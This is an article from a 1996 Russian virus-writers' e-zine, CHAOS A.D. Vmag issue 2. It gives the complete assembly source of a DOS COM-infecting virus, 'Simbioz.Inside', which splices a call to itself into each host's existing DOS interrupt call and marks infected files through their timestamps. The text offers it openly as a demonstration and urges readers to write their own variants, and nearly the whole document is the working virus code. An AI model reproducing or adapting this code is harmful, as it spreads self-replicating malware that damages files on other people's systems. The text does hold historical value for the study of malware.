[Death Virii Crew] Presents
CHAOS A.D. Vmag, Issue 2, Summer 1996                           file 004



               Вирус - Демонстрация нового способа заражения.

                              Simbioz.Inside



        Представляю на Ваше рассмотрение примитивный COM-нерезидент,
        в котором реализован способ симбиоза. Вариант конечно глючный,
        но по крайней мере у меня глючил только с резидентами и то, не
        всегда. Вирус предназначен исключительно для демонстрации способа.
        Я надеюсь этот вирус натолкнет вас на реализацию чего-то своего.

;================================ резать тут ============================
.286
.model tiny
.code
org 100h
start:

lea dx,mess
call virus
nop
int 20h
mess db 'virii rulez$'

virus:
mov word ptr cs:_bp,bp
pop bp
sub bp,3
pusha
push ds es
call $+3
pop si
sub si,($-virus)-1

restore_orig_4_bytes:
mov ah,byte ptr cs:[offset orig-offset virus+si ]
mov al,0b4h
mov cs:[bp],ax
mov cs:[bp+2],21cdh
mov bp,si

get_dta:
mov ah,2fh
int 21h
mov word ptr cs:_dta,bx
mov word ptr cs:_dta,es

set_dta:
mov ax,cs
add ax,2000h
mov ds,ax
xor dx,dx
mov ah,1ah
int 21h

find_first:
mov ah,4eh
mov cx,20h
mov dx,offset fmask-offset virus
add dx,si
push ds cs
pop ds
int 21h
pop ds
find:
jnc save
_er:
jmp er

find_next:
mov ax,cs
add ax,2000h
mov ds,ax

mov ah,4fh
int 21h
jmp find

save:
mov ax,ds:[16h]
mov cs:_time,ax
and al,01fh
cmp al,7
jz find_next
mov ax,ds:[18h]
mov cs:_date,ax

open_find_file:
mov ax,3d02h
mov dx,1eh
int 21h
jnc read_file
jmp find_next
read_file:
xchg ax,bx

change_segment:
mov ax,ds
add ax,10h
mov ds,ax

mov ah,3fh
xor dx,dx
mov cx,0f000h
int 21h
jnc search_code
jmp close

search_code:
push ds
pop es
mov cx,ax
mov si,ax
mov di,dx
uuu:
mov al,0b4h
new:
cld
repne scasb
jne close
cmp word ptr es:[di+1],21CDh
jne new
great:
mov ax,di
dec ax
mov cx,si
mov si,ax
mov dx,cx
sub dx,ax
sub dx,3

change_code:
mov byte ptr ds:[si],0e8h
mov al,byte ptr ds:[si+1]
mov byte ptr cs:[offset orig - offset virus + bp],al
mov word ptr ds:[si+1],dx
in al,42h
mov byte ptr ds:[si+3],al

pointer_to_begin:
push cx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
pop cx
jc close

save_file:
mov ah,40h
xor dx,dx
int 21h
jc rest

pointer_to_end:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
jc rest

save_virus:
mov ah,40h
mov cx,virlen
push cs
pop ds
mov dx,bp
int 21h
jc rest

change_time_to_7_second:
mov ax,cs:_time
and al,01fh
add al,7
mov cs:_time,ax

rest:
mov ax,5701h
mov dx,cs:_date
mov cx,cs:_time
int 21h

close:
mov ah,3eh
int 21h

jmp find_next

er:
mov ah,1ah
lds dx,cs:_dta
int 21h
pop es ds
popa
push bp
mov bp,word ptr cs:_bp
ret

fmask db '*.com',0
iam db '[Simbioz.Inside]'
_bp equ 0feh
_dta equ 0f0h
_time equ 0f4h
_date equ 0f6h
orig db 9
virlen equ $-virus
end start
;================================ резать тут ============================


                                                    (c) by Reminder [DVC]